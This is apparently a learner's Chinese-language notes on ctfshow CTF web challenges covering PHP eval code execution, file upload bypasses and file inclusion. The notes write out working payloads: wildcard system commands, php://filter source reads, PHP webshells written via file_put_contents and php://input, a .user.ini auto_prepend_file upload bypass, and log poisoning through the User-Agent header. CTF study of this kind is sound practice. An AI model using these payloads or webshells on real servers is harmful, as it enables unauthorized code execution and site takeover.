RCE
第一题
eval代码执行 : 1、使用system 加通配符过滤
?c=system("tac%20fl*") ;
2、反字节执行 `xxx`
%20
echo + 反字节
3、变量转移
重新定义一个变量 让他代替我们执行
4、伪协议玩法
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者直接写入木马 file_put_contents(11.php,"<?php eval($_POST['cmd'])?>");
5、拷贝
?c=system("cp fla* 1.txt")
访问1.txt
复习完练习一个
代码执行
当然还是可以使用伪协议
复习之
文件上传漏洞
ctfshow练习
看介绍是前端的验证 :
玩法 :欺骗前端验证
使用gzl生成一个
改为 jpg后缀 之后上传
知道密码之后如果木马是post方式的传输就能使用这个post口直接进行传输
2、
后端的验证要严密 :
为了防止后端验证文件头 所以写个假的文件头 让它去验证
利用第一个的老套路居然上传成功了这是我没想到的
3、黑名单绕过 :
我们上传的文件只有png能上传成功说明是后端的waf
改一下ini为png后缀一会再改名 .user.ini
写入 :
auto_prepend_file=shell.png
上传一个 木马文件 shell.png
记住在 /upload下执行命令
文件包含
主要涉及到文件的读取,写入,代码执行
1个题全部展示
文件的读取 :
file=php://filter/read=convert.base64-encode/resource=flag.php
把这个base64解密就出来了
2、文件的写入
换一个单词就能用
在post中写入就行 但是这个的条件是有 file_put_contents
这个好用:
php://input
POST <?php fputs(fopen("shell.php","w") , '<?php @eval($_POST["pass"])?>')?>
文件的写入在ctf中非常麻烦所以不常用 同时上边文件的读取不知道 flag 的位置瞎猜也是非常难受 所以下边这个 命令执行非常牛x
3、命令执行
上边的写入其实就是命令的执行啊
php://input 加post就是这种
写上之后就能执行命令了很强
再一个就是 data 协议
利用data协议实现代码执行
使用加密
还有一个就是 文件包含的唯一真神 只要看着一堆 waf 绕不过了 直接使用
非常不吃操作
只需要记住 不同2个中间件的日志
apache : /www/log/apache/access.log
nginx : /www/log/nginx/access.log
怎么判断是哪个?
根据报错发现我们的路径错误了
抓个包 改一下这个ua头信息为恶意的木马
就成功注入了